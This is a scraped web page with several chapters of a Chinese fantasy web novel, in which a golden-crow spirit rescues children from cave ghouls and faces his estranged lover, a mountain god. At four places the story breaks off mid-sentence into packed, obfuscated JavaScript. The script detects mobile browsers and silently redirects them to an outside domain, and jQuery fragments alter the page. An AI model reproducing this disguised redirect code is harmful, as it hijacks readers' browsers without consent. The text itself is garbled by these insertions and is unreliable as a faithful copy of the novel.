眼看这小子又要掉眼泪,时妙原恨不能把爪子全变出来堵住他的嘴巴。来路波涛汹涌,地下河早已泛滥,他走在前方开道,时不时还要回头安抚小孩,整个人根本就是一个大写的“心力交瘁”。 还没走出几米,时妙原就看到了大大小小许多破碎的石块,许是水流太猛,荣观真的雕像已经被冲散了开来。其中一段大概是腿的石头砸到他的小脚趾,差点没让他直接交代在了这里。 “我靠啊!这王八蛋怎么到这了也不愿意放过我!” 前方飘来更多碎石,时妙原分身乏术,他没法护住卷毛,就只能自己挡下大部分冲击。至于卷毛,他当然已经快要被吓坏了,他昏过去之前看到的还是山中的大好春光,再一醒来就到了这么个鬼地方,换了谁当然都乐不起来。 “哥,哥?我们要怎么出去啊?”他慌张地扯紧了时妙原的衣袖,“这里水好大,我们不会被淹死吧……” “呸,不许讲晦气话!”时妙原啐了一口,“你当我什么人?我跟你说,老子可是金乌!太阳神鸟!山海经你听说过吧?那也没我活得长!也就是我现在神力不够,要换从前我随便一挥手,这山都得裂成八百瓣嗷嗷追在我屁股后面叫老大!” 小卷毛被唬得一愣一愣的,也不知道到底听进去没有。 时妙原在前面骂骂咧咧地开道,他跟在后头慢慢地挪动,这段路不算长,却花了他们十多分钟才到达目的地。等终于到了来时的天井,时妙原还没来得及松口气,就吓得连魂都要散了出来。 绳索不见了! 什么情况?他明明把它栓到石头上了呀! 时妙原急得原地绕了好几圈,却只看到了一截钟乳石的断面。 完了!他暗道不妙,大概是因为雨水冲击力太大,硬是把石头打碎了,那绳子自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还有心思找人!” 瘦鬼魈的声音凄然响起——在头顶!时妙原双手全被占据,情急之下只好扔了男孩,抬手大喝一声:“烧!” 轰!金色的火轮从他掌心迸出,只一瞬间便迫令鬼魈们逃散了开来。藏仙洞内亮如白昼,时妙原在火灭前找到了卷毛的身影:他仰面朝天躺在一块钟乳石上,生死不明。 而在他头顶,正有许多碎石在不断地倾落。那本被用来存放鬼魈灵识的坑洞已然坍塌,里面的东西不见了,它们想必是找到了回归宿体的捷径。 “我服了,早知道就不留这俩混账东西狗命了!”时妙原悔不当初,他快步冲到卷毛身前正欲将他踹醒,身后又传来了鬼魈的怒吼: “竖子误我!” “狗东西,你到底有完没完!” 时妙原正想再施金火,却感到经脉之间气息一滞—— 他用不出法术来了。 鬼魈们近在眼前,时妙原立马将手背到了身后。然后他字正腔圆地喊道:“既见山神护法,为何不速速下跪!” 6. 三度苦厄(三) 那两鬼魈猛地刹在了原地。 “护法?”瘦鬼魈面露惧色,“哥,他难道是荣……” “敢问阁下来自哪座山头!”胖鬼魈虽气势不减,说话的口气却立马柔和了许多。仔细再听,它的声音还有一丝颤抖。 时妙原缓缓开口道: “我从蕴轮谷来。” 在场气氛忽地一滞。 “蕴轮谷,蕴轮谷……”两鬼魈们面面相觑,脸上肉眼可见地爬上了惊恐。 这招果然有效!时妙原内心窃喜:蕴轮谷乃空相山神行宫所在,一般精怪根本无法靠近,荣观真掌管空相山全境,他的马仔地位当然也不容小觑——他如此自报家门,自是为伪装成荣观真座下神使。眼下他虽浑身邋里邋遢,但就刚刚那招金火,便足以证明他法力高强! 当然,他现在已经使不出来了就是了。 胖鬼魈明显要更沉稳些。它稍定心神,拱起毛手行了个还算标准的揖礼:“小的们有眼无珠,不识山神护法!既是自蕴轮谷来,我们也不好再起争执。这位大人,您请回吧,今日之事甚小,我们并不想惊动尊上。” “荣老爷生性喜静,自然不愿意我与旁人冲突。”时妙原脸不红心也不跳地说,“我当然要走,只是还得带上这三个孩子!” 胖鬼魈面色一暗:“不行。” 时妙原昂首道:“行不行可由不得你说了算。你两位私自出界,下山害人,若是被老爷发现了,小心吃不了兜着走!” “你既是他身边的人,自然也该有法号!”瘦鬼魈反应过来质问时妙原道,“荣老爷座下护法都有名有姓,敢问阁下可否自报家门?也好让我们哥俩被教训个明白不是!” “我……我,呃……”这是真问住时妙原了,“我那什么……我乃山神左护法,你们叫我常栖迟便可!” “常栖迟?没听说过这号人!” “那当然了,因为这是我现编的——取‘睡觉睡得晚,天天赖大床’之意!” 时妙原大喝一声:“火来!” 有了方才的教训,鬼魈们立刻缩成一团躲到了石柱后面。可它们苦等半天,却连火星子都没见到。两精怪再一抬头,却只见时妙原扛着三个小孩,屁股一撅就跑出了二三十米远。 “王八蛋,敢耍我们!” 时妙原身携拖油瓶三只,当然是跑快不了一点。眼前水流湍急,恰好送来了荣观真雕像的半身,他灵机一动,干脆把孩子们全扔到了它的身上。 “对不住了弟弟,就先委屈你当一下载具哈!” 语毕,时妙原抽出那雕像腰间玉剑,一转身挡住了鬼魈们的利爪! 当!金石交接的脆响令人心悸,那鬼魈牙尖爪利,挥舞起来全是呼呼带风。时妙原见招拆招,心中暗道不好:这剑未曾经过加持,不过是普通的装饰品而已,再这样打下去,要断开也就只是时间问题! 情况紧急,并容不得他多想。他用力往前一挥,瘦鬼魈当即后撤,紧接着那胖的赶上,这俩畜生竟是打出了一波配合。 “二打一,脸都不要了是吧!”时妙原气急败坏地骂道,“你们饿了就不能去树上摘点果子吗?不要老出来害人好不好!实在不行你们把我煮了吧,啊反正老子也不想活了,干脆给你俩补补身子得了!” “你骗谁呢?就你那点破灵力,连塞牙缝都不够的!”胖鬼魈也不甘示弱,“倒不知哪家屎壳郎蛋子化了形,出来到你爷爷面前逞能来了!” “啊?放你爹的狗屁!”时妙原勃然大怒,“你当你在跟谁说话呢!你丫的,你信不信给老子逼急了把你全家烧干堆树上搭窝!” “我当你是哪路神仙,原来是只虚张声势的死鸟!” 瘦鬼魈一个扫堂腿,时妙原叽叽喳喳地跳了起来:“我呸!居然还玩偷袭!鸟怎么你了我请问?我跟你说老子活着是人人畏而惧之,就算死了也声名远扬万里!不像你们就知道出来吃人害人,小心百年后被人记到县志里面,啊不,发到网上,绝对是遗臭万年你信不信!” 胖鬼魈嘶叫道:“你懂个屁,这都是荣老爷的意思!空相山一草一木全归山神所有,他要杀便杀,要打便打,他说要我们选这几个兔崽子敬献于他,我们当然就可以拿一两个出来打打牙祭!” “你别造谣,荣观真从不杀人!” “不杀人?你是打哪年穿越过来的!”胖鬼魈几乎大笑出声,“小兄弟,要我提醒提醒你吗?荣观真上次当着山海众仙的面捅死恶妖,也只是不到十年前的事情啊!哦,你不说我都差点忘了,那也是只屁用没有就会喊疼求饶的死鸟!” “——时妙原被荣老爷分尸焚尸,挫骨扬灰的时候,你小子恐怕连毛都没长齐吧!” 时妙原愣在了原地。 这并不是因为对方的话震住了他,而是由于他捕捉到了某种——不可言明的异动。 咚。 什么声音? 时妙原狐疑地低下头,他发现,自己脚底的水流突然平息了下来。 鬼魈们也不说话了,它们面面相觑,那丑陋的毛脸上也爬上了些许错愕。 咚咚。 地下河不再流动,山外却依旧大雨瓢泼。 雨点击打岩石的节拍依稀可闻,可在这隐于深处的溶洞中,却只剩下了无边无际的安宁。 咚咚咚! 水面只平复了半刻,便呈漩涡状旋转了起来。洞顶摇摇欲坠,大大小小的钟乳石纷然落地,时妙原扑到那三个孩子身上,用身体努力护住了他们的脑袋。 “什么情况!”胖鬼魈率先发出惊叫,“地震了吗?!” 它的话音未落,潮水便刷!地褪入了黑暗。 肉眼可见的液体瞬间蒸发干净,露出了其下平坦干燥的岩土,紧接着那地面裂成两半,胖鬼魈尚未能作出任何反应,就直直地掉进了那大洞里去! 啪! 地缝猛然闭合,就好像从来没出现过一样。 瘦鬼魈目瞪口呆。 半秒钟后,一股血雾嗡地扑上了他的面门。 “……哥?” 它颤抖着唤了一句。 “这是……” 时妙原才刚说出两个字,膝盖就突然一软,他猝不及防地跪了下去。 好重!他感到身上压了足逾千斤的重担,而他的四肢也好似被什么东西死死固定到了地上。浑身的关节都在叫嚣,每一块肌肉都在彼此挤压和推搡,他咬紧了牙关死活也不愿低头,可那重压偏是层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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——那是自三千年前便与他相识的旧友。 是和他在星空下相谈甚欢的至交。 是曾与他同进退的搭档,也是领他走过了千山万水,遍览过四季盛景的知己。 那人曾对他说:“我的一切都归属于你。” 但是他也说过:“时妙原,我真希望我从来没有遇见过你。” 说完这句话,他就亲手将他送进了地狱。 “我说,头抬起来。你听不见吗?” 他是空相山山神。 “抬头,别让我再讲第三次。” 是蕴轮谷主尊。 “让我看看你的脸。” 是在众神注视下将他挫骨扬灰的处刑者。 “不要逼我对你动手。” 也是祝他永世不得超生的千山万岳之主。 “……” 时妙原颤抖着仰起了头。 看清那道身影的瞬间,他感到了一阵前所未有的恍惚。 对,就是他。 来的果然是荣观真。 他曾亲密无间的爱人。 7. 三度苦厄(四) 在抬头之前,时妙原迅速地改变了自己的容貌。 时间紧迫,他只来得及对外貌稍作微调。他把眼睛变成了普通的棕褐色,肤色和五官和原先比起来也有了细微的差别,这些变化单拎出来虽然并不算明显,但是组合到一起,就让他完全变了个样子。 “头抬起来。”荣观真平和地说,“别让我再说一遍。” 时妙原视死如归地抬起了头。 然后他发现,自己这招其实是多此一举。 荣观真根本就没有眼睛。 严格意义上说,有,应该还是有的,但却并未显露出来。 来的确实是荣观真没错,他还穿着时妙原印象中那套万年不变的白西装搭灰衬衫。洞中泥点飞溅,荣观真一尘不染。山鬼魈抖如筛糠,荣观真云淡风轻。时妙原灰头土脸,而他亲爱的山神大人却优雅得像是才从巴黎时装周秀场下来的一样。 不过,比起那些曼妙生姿的模特,荣老爷的穿衣风格还是要保守很多。他把衬衣纽扣扣到了最上一粒,几阵阴风吹过,吹得他略长的棕发微微拂动,也吹得他脸上的红纸扑簌作响。 这是什么造型,怎么给自己脑门儿上拍了张纸?时妙原又惊又愕,他从前只在庙里未开光的神像身上看到过这副打扮,可那是为防邪魔入体、挤占神位的民间土方。荣观真一个正神,他这么做又是图什么呢? 荣观真歪了歪脑袋。 他“看”到时妙原的时候,脸上的肌肉微妙地抽动了一下。 “一般货色。”他嗤笑道。 说完,他绕过趴在地上暗暗骂娘的时妙原,大步流星地走向了那只还活着的山鬼魈。 瘦鬼魈虽还有气儿,但现在也和死了没什么两样了。它的舌头断在地上,脑袋上还破了个碗大的窟窿,见到荣观真走来,它抖得几乎当场散了架,很快时妙原闻到一股难言的恶臭——那畜生拉了,它是活活被吓失禁的。 荣观真飞起一脚,将它踹进了溶洞的墙壁里。这样一来它就不再发抖了,那些五谷轮回的产物也算是有了归处。 “伪造我的意志,假传我的指令。绑架我的信徒,妄议我的决定,刚才还说了那种令人啼笑皆非的话,你要怎么向我交代?” 他慢条斯理地问道。 山鬼魈没了舌头,它答不了话,也不敢轻易答话。但凡是个有脑子的,现在都听得出荣观真并不是在寻求意见。他其实甚至已经给出了选择:去忍,去等待。等到他惜开尊口,放话作最终判决。 荣观真说:“把手吃了。” 山鬼魈啊啊叫着,颤巍巍抬起了手。 吃谁的? “吃自己的。” 话音刚落,溶洞里就传来了毫不拖泥带水的咀嚼声。 孩子们还在昏迷,张遥只在荣观真刚来时醒了一下,然后又沉沉地睡了过去。洞中早没了雨水,时妙原跪在刚吞吃了胖山鬼魈的泥地上瑟瑟发抖,他虽一声不吭,心中的尖叫声却几乎要冲破了耳膜。 太变态了…… 太变态了。 荣观真这家伙,他也变得也太变态了吧!!! 他和荣观真早就相识,他也知道荣观真心理确实是是有点问题,可不过九年没见,他现在怎么变成了这种风格?! 空相山人杰地灵,就连花草都长得比别处更水灵些,荣观真这一山之主是出了什么劈叉,怎么把自己养得越来越疯了啊! 俗话说仇人相见,分外眼红。前任相见,眼睛通红。那要是两人曾为爱侣,又反目成仇,最终一死一活,在这种情况下再相逢会是什么情况呢? 时妙原认为结局就只有一个:刀刀见红。 外界都道他与荣观真水火不容,却少有人知道他俩真的谈过。他们不仅谈过,还谈得时间不短。不仅谈了好几百年,还是荣观真先追的他。不仅是荣观真先上的头,还是时妙原先提的分手。不仅是时妙原踹的荣观真,其实直到最后那一刻,荣观真都把手搭到三度厄上了,还在不死心地问他: “我们要不要试试重新开始?” 当时,时妙原的答案是:老子不! 现在,要再给他一次机会,他也会果断摇头拒绝。 开玩笑,先不提那些弯弯绕绕的矛盾,就荣观真这病发入脑了的样子,谁还敢再和他处下去啊! 他从前最多就只是玩得大了点,玩得狠了点,玩的花样和……呃,地点丰富了点。可现在这都啥跟啥?时妙原怀疑,在自己不知情的时候,荣观真恐怕误入歧途去地下禁色场所修炼了一些鞭法。 许是时妙原的脑电波太过汹涌,山鬼魈吃到无名指的时候,荣观真慢慢悠悠地踱到了他的身边。 时妙原内心尖叫一声,立刻把头低了下去。 “你叫什么名字?”荣观真问他,“我还是第一次见你。” “回…回荣老爷,我叫常栖迟,是这几个小孩儿的亲戚。他他他,他们家里人走投无路,托我来找他们,我只是想来救孩子而已,我绝无冒犯之意啊!”时妙原哀嚎道,“求您放过我们吧!这几个娃儿都还小,他们要是有个什么三长两短,我这一大家子就都别活了……呜呜呜……” 时妙原边求边跪,讲得那叫一个情真意切、肝肠寸断。情到浓时他还装模作样地抹了把眼泪,不知道的以为他有多爱护小辈,但只有他自己清楚,那是因为他下跪的时候眼睛里不小心进了沙子。 “那这么讲,你是人喽?”荣观真若有所思地问。 “如假包换,假一赔十的碳基生物呀老爷……” “既然是人,你怎么会认得出我是谁?” 时妙原噎住了。 “这,这个……啊,这是因为……那个,那个那个,您在我们当地一直是处于一个比较有名的状态……” 荣观真笑了。 时妙原材刚松一口气,却见荣观真突然出手,掐住他的脖子把他从地上拎了起来。 “还跟我装?你也不看看你现在是什么德行!” 他的声音中满是戏谑,而那不屑中却饱含有汹涌的怒火。 “你难道真的以为,你这点把戏能瞒得过我的眼睛吗?嗯?从你刚进洞时我就认出你了,你还好意思跟我说你是人?你自己脑子坏了就算了,不会真当我也是傻子吧,时妙原!” “……” “……” “…………” 时妙原无助地张了张嘴巴。 荣观真虽掐着他的脖子,但并没有用多少力气。他们离得很近,好在有红纸作隔断,他现在至少不用直面荣观真的眼睛。 不然,他可能会真的一个绷不住直接跪下来求饶。 红纸岿然不动,时妙原噤若寒蝉,荣观真盯了他多久,他就沉默了多久。 直到那山鬼魈吃完了手,静静地等待荣观真下一步的指令,藏仙洞内也依旧是一片死寂。 过了不知多长时间,荣观真才终于松开手,把时妙原丢到了地上。 “搞错了,对不起。”他毫无悔意地说。 不是?时妙原捂着脖子目瞪口呆:感情他刚才这是在诈他吗?! 荣观真退后几步,找了块干净石头坐下,对时妙原摆出了一幅人畜无害的表情:“真是不好意思,刚才把你认成了一位故人。因为你说你是人,还认得我的样子,这种情况十分少见,所以我才会看走了眼。你刚才说你是我的信徒,你应该不会怪我吧?” “那……那当然了!” 不爽先放在一边,有台阶不下那纯属是傻子。时妙原小碎步跑到荣观真身前,巴巴地跪在他脚下谄媚道:“小的自幼在海阳峰下长大,从小就总听家里人讲荣老爷的故事!我我我,我今儿个虽是第一次见您的真容,但我看您器宇轩昂、气质不凡,一出手就斩断邪祟,就猜您肯定是山神老爷没跑了!” “哦?你说你是受家里人影响,那你说说看,他们都是怎么形容我的?”荣观真和善地问。 “那还用说!咱们全家人,不对,整个休宁城的人都说啊,荣大人是空相山主神,掌山上一切生死,主地下万物生发。寻常人信您,能保一生无忧,山中精怪要是听从您的号令,也必定能修有所成,荣登仙班呀!”时妙原拍着胸脯说。 “原来如此,这吹得不算太过头。”荣观真颔首道,“但你说到信,你们又是如何信我的呢?” “那自然是以身信,以心信,以全身心信!” “身是什么,心又是什么?” “身是发自心灵,心是身体躬行。”时妙原从善如流道,“您这样的神仙高在云端,寻常人若是想求庇护,自然得每作日课祷念、时造祭礼献祀。这信仰一事,无怪乎香火荣敬而已嘛!” 荣观真被他这狗腿样逗笑了:“好一个香火荣敬!你嘴皮子这么溜,讲的也头头是道,虽不乏胡编乱造的部分,但总之也算是有可取之处。我很喜欢你说的这些话,我看,你不如和我回行宫,当我的护法吧。” “哎?”时妙原的表情出现了一丝空白。 “怎么?” 荣观真微微俯下身子:“你不愿意?” 气氛再度凝固。 藏仙洞内冷风忽起,吹得时妙原两条腿直打哆嗦。他一时间想不出该怎么回答荣观真,他总不能说,哥啊,你就别把我带回去了因为我是其实就是你那个四处捣乱伤天害理还败坏了你不少名声的前男友你带我走就只能徒增烦恼我看咱俩还是就此别过吧拜拜拜拜拜拜吧! “这个……荣老爷,我……我……”时妙原扯出了一个十分艰难的笑容,“我上有老下有小,中间还有弟弟妹妹要好好养,这一大家子人都在等着我回去烧饭呢……我,我还得养家……” 此话一出,他立刻感到了一阵刺骨的寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142649|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 那寒意从地底来,从他的脚底蔓延,缓缓地灌通到了天灵盖上。 荣观真正静静地“盯”着时妙原看。他露在外面的下半张脸好似凝固了,那若有似无的笑意也全都被收敛了起来。不过几秒钟而已,时妙原就没法儿从他脸上看出任何情绪了。 “那你走吧。”荣观真说。 时妙原正暗道不好,突然听见荣观真下了逐客令,心下不由得大喜。不过他马上意识到,这话是对那山鬼魈说的。 “吃完了吗?吃完了就回你该回的地方去。”荣观真望着那怪物说。 山鬼魈如蒙大赦,举着没了手掌的胳膊落荒而逃。它跑得太急,甚至还在地上落了好几片没能咬碎的指甲。 哥们儿,别!别留下我一个人啊! 时妙原望着山鬼魈绝尘而去的背影,发自内心地感到了一阵绝望。 这不对吧? 这个走向正确吗? 这是一个刚复活的人该有的待遇吗啊啊啊啊啊?! 怎么他从前上网看小说,那些主角重生不是复仇虐渣就是紧抓时代风口走向人生巅峰,到了他这儿不是被人拖来紧急救援,就是要隔三差五被自己的阴森前任吓上两跳,现在连命估计也要保不住了呢?难道说在他死翘翘的这九年中,本土网络文学市场已经发生了什么翻天覆地的变化吗?! 正当时妙原恍惚不已的时候,荣观真挥挥手驱走了那刺骨的寒风。 “你也走。” “哎哎?” “走吧,快点。”荣观真轻声催促道,“不要让我再看见你了。” 耳畔传来阵阵清脆的马蹄声,时妙原神情一凛:他好像猜到来的是谁了。 没几分钟,一匹通体雪白的骏马出现在了洞中。 这马儿生得极为俊俏。它的体格匀称,鬃毛柔顺,即便在如此昏暗的场景下也微微泛着冷光。那双顺从的眼睛里温柔满溢,不论看谁都是一副极为顺从的模样,寻常人见了它估计要跪下大拜神仙,时妙原脸上装得震惊,心里却丝毫不意外。 他对它可太熟悉了。毕竟这白马可是如假包换的,荣观真的灵体。 “上去吧。记得把那几个小孩也带着。”荣观真吩咐道,“山里情况复杂,出去了就别再回来了。这段时间就在镇子上待着,再有下次我是不会再来救你们的。” “那你呢?”时妙原下意识反问道,“你怎么办?” 荣观真愣了一下:“你管我做什么?我在我自己山上,难道还会出事吗?” 哦!时妙原一拍脑袋:也是。这整座空相山都是荣观真的地盘,哪有到主人家关心他有没有地方落脚的道理。 他一边点头哈腰,一边把三个小孩哎哎哟哟地抬到了马背上。时妙原搬小孩儿的过程中,荣观真就坐在一旁低着头发呆。他看起来有些累了,也并不是很愿意再开口说话,有好几次时妙原偷偷打量他,都发现他在微微地发抖。 他怎么了? 先不论荣观真出了什么情况,在把卷毛放到马背上的时候,时妙原突然发现,这白马和他印象中的……好像长得不太一样了。 乍一看,它的毛发粗糙了很多,还有好多结块了缠在一起。稍往里再翻一翻,还能看见大片大片的污渍,怎么搓也搓不开来。 “动手动脚的干什么呢,还不快走?”荣观真冷不丁开口道,“它会带路,跟着走就行。这里地势复杂,光凭你自己找,到下辈子都出不去。” 有没有可能我现在已经是下辈子了呢?时妙原油嘴滑舌地说:“那谢谢荣老爷了!” 白马整装待发,驮着三个小孩往藏仙洞深处走了过去。时妙原道别荣观真,也亦步亦趋地跟在了它的身后。过了没多久,他就又听见了潺潺的水声,地下河卷土重来,他不得不挽起工装裤裤脚前行。好在孩子们不会被淹,不过…… 时妙原随白马走出了十几米,在将要拐弯时没忍住回头看了一眼。 荣观真还坐在原地。 他们相距太远,时妙原看不清他的表情,他只知道他一动不动,直勾勾地盯着脚底发呆。不知从何处而来的光线透过岩层打在他身上,在马蹄声的衬映下,竟显得他的身影十分寂寥。 现在的荣观真,看起来当真就像尊雕塑一般。 要不是风吹动了他的发丝,要不是他微微支起了胳膊,时妙原几乎就要怀疑那恐怕并不是荣观真本尊,而是他从哪找来当介质的神像了。 好在这雕塑动了。许是洞中的风太大,荣观真犹豫片刻,还是抬手取下了脸上乱飞的红纸。 时妙原心底一动,赶忙眯起了眼睛想要细看,可就在他即将看清荣观真的真容之前,他却感到背后冷不丁吹来了一口狂风。 “哎?” 他还未来得及做出反应,就直接一脚踩空,掉进了一个巨大的天坑之中。 8. 三度苦厄(五) 如何杀死一只小鸟? 对于这个问题,有很多千奇百怪的回答。 比如,你可以拔去它的羽毛,这样它就无法再次飞翔。 或者,你可以刺破它的肚皮,静观它在血泊中挣扎的姿态。 又再者,你可以将它投入汪洋,把它送入烈火,让它在深渊中不得解脱,或葬身于猎人的枪管之下。 这世上有那么多专为飞鸟准备的死法,但有一种,是几乎无论如何也不会发生的。 再怎么倒霉催的,鸟也不会在躯体健全的情况下直接掉地上摔死。 “爹,娘,亲奶奶亲爷爷哥哥姐姐妹弟啊——!!” 时妙原一路下坠,一路尖叫,从洞口掉到天坑底部不过三秒时间,他就已经求遍了所有能想到的祖宗。 可惜他既没有爹妈,也没有能在地底下替他给阎王爷磕头求情的血亲,幸而快落地时他终于想起来自己是只鸟,好歹在和树冠产生亲密接触之前紧急召唤出了翅膀。 砰砰砰!人形状态下,时妙原唤出的翼展极长极宽,乍一看有近五米多长。那些乌黑泛光的羽毛助他完成了滑翔,只是到最后他还是不可避免地撞上了一片杏林。 惯性使然,等到他终于能刹住车了,他身后已经被犁出了一条有十几米长的深沟。 “好烫,啊我的脚,我的脚要冒烟了!” 时妙原哎哎哟哟地支着翅膀爬起,他抬脚一看,发现自己的鞋子已经磨出了个大洞。那满似弯钩的利爪暴露其外,爪隙间不仅填满了污泥,还夹了朵不慎被他牵连的浅色小花。 “嘶……痛死了我靠。什么破洞啊,怎么直接连到外面去了……哎哟我的……啊啊啊掉毛了,怎么掉了这么多羽毛!” 时妙原心疼地捧起了翅膀——天爷呀!他的羽毛,他的心肝,他精心打理的至宝,他每晚都要抱着睡觉的挚爱!他保守估计至少掉了几十片羽毛,他的心都快要碎掉了! 传说中金乌之羽有续命救人之功效,可金乌本鸟就从来关心的就只是这些黑黑亮亮仔细看还会有金色底纹的小可爱能不能茁壮成长。时妙原抱着落羽泫然欲泣,就在此时头顶传来阵阵蹄声,那白马探出头来,远远地冲他叫了一声。 他赶紧放下翅膀,仰头喊道:“那什么……我没事儿啊!你在上面等着,我马上就来!” 说着,时妙原飞拍拍身上的灰尘,从地上捡起一颗甜杏,扑腾翅膀歪歪扭扭地飞了回去。 飞上原处后他才发现,刚才那洞其实并非直接与外界连通,出洞后还有一条目测可供三人并行的小路。刚才他若不是光顾着看荣观真,是绝对不会冷不丁鸟失前蹄的。 那倒霉催的王八蛋,到这儿了居然都还要坑他一把!时妙原也不管到底是不是荣观真的问题,就骂骂咧咧、一瘸一拐地迎着白马走上了前去。 “来,吃杏子!刚摘的,送给你。” 时妙原不容分说地把刚才顺来的杏子塞进了白马嘴里:“吃吧乖乖,我不收你钱,等你吃完了咱打个商量好不好?啊,其实也没有很复杂,就是……你回去以后能不能不要把刚才的事情说给你主人听呀?” 白马眨了眨眼。它拿头轻轻顶了时妙原一下,随后便乖乖地张嘴咬住了甜杏。 “你吃了,那我就当你同意了啊。”时妙原自言自语道。 这杏子一看就甜,至少白马吃得是十分欢快。它一边嚼,一边还时不时抬眼瞧一瞧时妙原,那浓密的睫毛半垂下来,就像蒲扇一样脆弱且漂亮。时妙原在旁看着,怎么看怎么觉得它可爱得要命。 时妙原很喜欢白马。一开始他和荣观真不对付的时候,看到白马了也会给它捎点果子吃。后来他和荣观真谈上了,自然便时常以半个主人自居。这一马一鸟的关系之亲密,就连荣观真偶尔都会阴阳怪气地说,说,哟,聊着呢?真不错啊,感觉你比起我,要更喜欢它呢。 那当然了,谁不喜欢脾气好的小动物呢?白马温柔可爱,荣观真阴森吓人。白马神爱世人,但荣观真呢?看一眼都感觉能直接下地狱。 荣观真……算了。时妙原摇摇头,将那人的身影从脑海中赶了出去。没事想他干嘛?他们早就结束了,也早就不是从前可以推心置腹的关系了。就算有再多的回忆,那也都是过去的事情了。 时妙原从不爱追忆往昔,对于他来说,现在最重要的是找到金羽,修复身体,拿回全部力量,然后该干什么干什么去。 白马很快吃完了杏子,它吃得开心,没忍住拿脸蹭了蹭时妙原。时妙原矜持半秒,也伸手摸了摸它的毛发。 等等。 他疑惑地抬起了手。 好像不对劲。 借助月光照耀,他在自己手上看到了一片乌黑的脏血。 他赶忙扒开白马的鬃毛,眼前的东西令他倒吸了一口凉气。 “这……这是……” 白马的皮肤上,全都是各式各样的伤疤。 它们有深有浅,有新有旧。旧的已经结痂,新的甚至还在流脓,他刚才在洞里看见的污渍,可能就是氧化了的污血。 远不止如此。时妙原退后两步,他发现它背上依稀也有类似的伤疤。孩子们还在马背上,可光是暴露在外的部分就有好几个血洞,即便有毛发遮掩,也遮不住其内腐红发黑的烂肉。 这伤得也太重了吧?!时妙原回头望去,洞内漆黑一片,荣观真应该已经不在里面了。但就算他就站在旁边,时妙原也不想对此坐视不管。 “你等等,我帮你治一治哈。” 时妙原微微凝气,调度起仅存的一点儿金羽之力,将它们小心翼翼地渡进了白马体内。 很快,白马身上肉眼可见的伤口便愈合了许多。那血洞岿然不动,但时妙原也不敢再用力了,一方面白马毕竟与荣观真神识相通,他可不想让荣观真察觉到什么异样。二来,他自己的力量也并不完全,若只是单纯变身飞翔还好,但只要尝试运用金羽之力,他都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142650|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得浑身血管在发痛、发颤。 “好了……现在有没有舒服些?”时妙原停止了渡气。他摸着白马的脊背说:“这趟真是辛苦你了,你能再帮我把这几个孩子驮到我来的地方吗?大概是在咱们来的方向,那儿有很多树,很多灯,哦……那儿有你主人的祭亭,就山神亭,你有没有印象呀?” 白马应声而动,它几乎是当即就理解了时妙原的意图。伤口愈合之后,它的步伐明显轻快了很多,这儿毕竟是它的地盘,要找到几个大半夜还在山里晃悠的救援人员,对它来说当然一点儿都不在话下。 崖边碎石纷落,道路又窄又险,白马在前开道,时妙原就跟在后头慢慢地走。约半小时后他们走进了一片密林,天上又开始飘雨,方才的平静只不过是昙花一现罢了。 雨变大了,他们纷纷加快了步伐。此值深夜,时妙原深一脚浅一脚地随白马走着,他的右手微微发烫,方才渡金羽之力的地方,不知为何肿胀而又发酸。不仅如此,时妙原还感到了一阵昏沉:是太累了吗?还是这一路下来精神过于紧绷,四周环境如此恶劣,他竟产生了想当即倒头就睡的冲动。 只可惜这并不是一个休息的好地方。耳边声音杂乱,雨打叶片的鼓声毫无规律,不知名生物的嘶叫令人心烦,无规律的鼓声,朦朦胧胧的雾气似是在诉说哀愁,白马的蹄声闷重,他自己的喘息散碎而又不定。 大约半小时后,时妙原终于听到了不一样的声音。 有人在叫,嘈杂的嚣叫涌入耳膜,还有人在哭,时妙原辨认处了哭声的源头:那应该源自张望,还有陈志捷焦急的大叫。 “不是吧,他不会死在里面了吧!” “怎么还不出来……绳子怎么断了?这,这是为什么啊,这绳子明明……” “黑户哥,黑户哥!你出来吧!你别死啊我求求你……呜呜呜呜,你这要是有什么三长两短,我以后晚上睡觉都不敢闭眼了——” “遥遥,遥遥,你听得见吗!你快出来吧,爸爸,爸爸不能没有你——” “大哥,雨下太大了,实在不行,我看我们就先回……” “我在这儿!” 时妙原一声大喊,就连雨点落下的速度都微微产生了滞留。脚步声由远及近而来,探照灯的灯柱晃眼刺得他下意识眯起了眼睛。 欢呼,惊叫,喜悦和惊惧如潮水般涌上了他的面门,他走了实在太久,体力已然见底,到这时他终于膝盖一软,直直地摔倒在了地上。 奇怪的是,他却并没有感到疼痛。恍然间他回过头去,只见张遥和卷毛已经被挪放到了山神亭中。亭盖漆黑沉默,烛台中的断香红点忽明忽暗。祭物们的笑容寡淡,白马的踪迹已消失不见。 深重的疲倦感涌上时妙原心头,清风拂过发丝的幅度浑似是母亲柔和的爱抚。彻底昏迷之前,时妙原在亭中看见了一个浑身是血的白影。 “……阿真?” 下一秒,他直接失去了意识。 9. 日轮升 